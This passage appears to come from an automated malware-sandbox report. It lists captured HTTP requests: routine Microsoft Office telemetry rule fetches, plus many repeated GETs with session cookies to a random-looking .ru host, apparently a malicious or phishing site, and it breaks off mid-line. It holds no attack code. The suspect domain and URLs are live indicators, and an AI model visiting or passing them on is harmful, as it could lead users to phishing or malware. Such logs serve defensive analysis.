XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /wx8cblTCJc2jJtZ3Tr6E0lLVoLLCSsrsRKDzJ5DPwKqt5Ln1FGgoRpqur90174 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /optYOtQ5puobtdVHP17Os3PZBuvg6yqFiJTTG3inUBxp5lld6mgocd200 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvSjW6uuuMi362bbMnBkTvstWSsfCZXTVIQ12121 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijqjWXJnXCPF6v7AfvNic8i5JxzB7Wsrh2CSnTynklW2msPgNIq7lZppNaF7vV3ppef205 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrFhTbcwwidzzRWOgsnbyxsh4u27wghHyqoYBZr8Vz2h7isbJay67139 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /efdMUsDj4Y7r9tGOHibLPijJ12Vl5KBbBAJHvvmpvjn9m90150 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opyXAR9zsHzgqXwIJLY5LV7jMEP12o02zh09sjAIXIf7J57nkQ1zfczG9XdXcd231 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /stehY4yqqFrD60BTLfVjR0Zav2TfIjKMrVqdygPxhqFJZP9m86mnWsLW9Njw1XTVYrnwGDC4nu16024sYJPhXFz2mtef255 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijFfNTeJLDUwCfdCHkhWeTb5JNx3EsizzfmIyzx3chxgSjbYDjc56168 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /wx8cblTCJc2jJtZ3Tr6E0lLVoLLCSsrsRKDzJ5DPwKqt5Ln1FGgoRpqur90174 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /optYOtQ5puobtdVHP17Os3PZBuvg6yqFiJTTG3inUBxp5lld6mgocd200 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /ijqjWXJnXCPF6v7AfvNic8i5JxzB7Wsrh2CSnTynklW2msPgNIq7lZppNaF7vV3ppef205 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; 